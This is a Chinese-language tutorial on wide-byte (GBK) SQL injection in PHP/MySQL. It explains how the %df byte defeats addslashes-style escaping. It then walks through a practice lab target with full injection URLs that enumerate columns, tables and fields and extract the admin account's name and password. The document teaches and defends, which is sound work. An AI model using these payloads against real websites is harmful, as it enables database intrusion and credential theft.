前言
在mysql中,用于转义(即在字符串中的符号前加上””)的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。
涉及到的基本概念
1.字符、字符集
字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中
的位置。
2.UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。
因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
3.宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
MYSQL的字符集转换过程
1.MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2.进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
- 使用每个数据字段的CHARACTER SET设定值;
- 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
- 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
- 若上述值不存在,则使用character_set_server设定值。
将操作结果从内部操作字符集转换为character_set_results。
重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。
宽字节注入原理:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠,变成了 %df’,其中的十六进制是 %5C ,那么现在 %df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df’ = %df%5c%27=縗’,有了单引号就好注入了。
简单的宽字节注入
以靶场练习平台的题目为例:
1.本此用于测试的 宽字节注入点,如下
http://192.168.3.23/wide/0x01/index.php?id=2
2.这时当我们用经典的单引号尝试对传入参数进行干扰时发现,貌似并没有任何反应,原因很明显,因为addslashes()已经把我们提交的单引号给转义了
http://192.168.3.23/wide/0x01/index.php?id=2'
3.现在,我们就可以尝试利用宽字符来突破类似的转义问题,这里使用经典的%df宽字符,如下,页面返回数据库报错,说明我们的单引号已经被带入正常的sql语句中执行查询了,也就是说,用于转义的那个’’已经罢工了
4.通过观察打出来的sql语句,可以发现,那个 ‘%df’和’’ 在gbk字符编码中变成了‘運’字,所以这才会造成转义才会失效,既如此,闭合自然就非常简单了,因为是字符型注入,只需要把前面的单引号闭合,后面的语句直接注释掉即可,具体的注入语句如下
http://192.168.3.23/wide/0x01/index.php?id=2%df'and 1=1 %23 条件为真时返回正常
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 %23 条件为假时返回异常
5.查询当前表的字段个数
http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 3 %23 为3时返回正常
http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 4 %23 为4时返回异常,说明当前表有3个字段
6.执行union,爆出对应的数据显示位
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,2,3 %23
7.搜集当前数据库信息,这里只是为了给大家演示下宽字节的正常注入流程,就不再尝试读写文件了,暂时按照正常的权限来,有兴趣可自行尝试
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,database(),version() %23
8.查出当前库中的所有表名
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x64617461 %23
9.查出admin表中的所有字段名
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23
10.最后,去查出管理的账号密码数据即可
http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,name,pass from admin limit 0,1 %23
总结:
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。黑盒测试我们只能不断的尝试,当进行代码审计的白盒测试的时候可以优先看看有没有魔术引号,以及编码是不是GBK,当数据库的编码为GBK的时候存在宽字节的可能性很大。可以简单的理解为开发在考虑安全问题的时候,给我们营造了一种绕过手段。当然这不是开发的锅。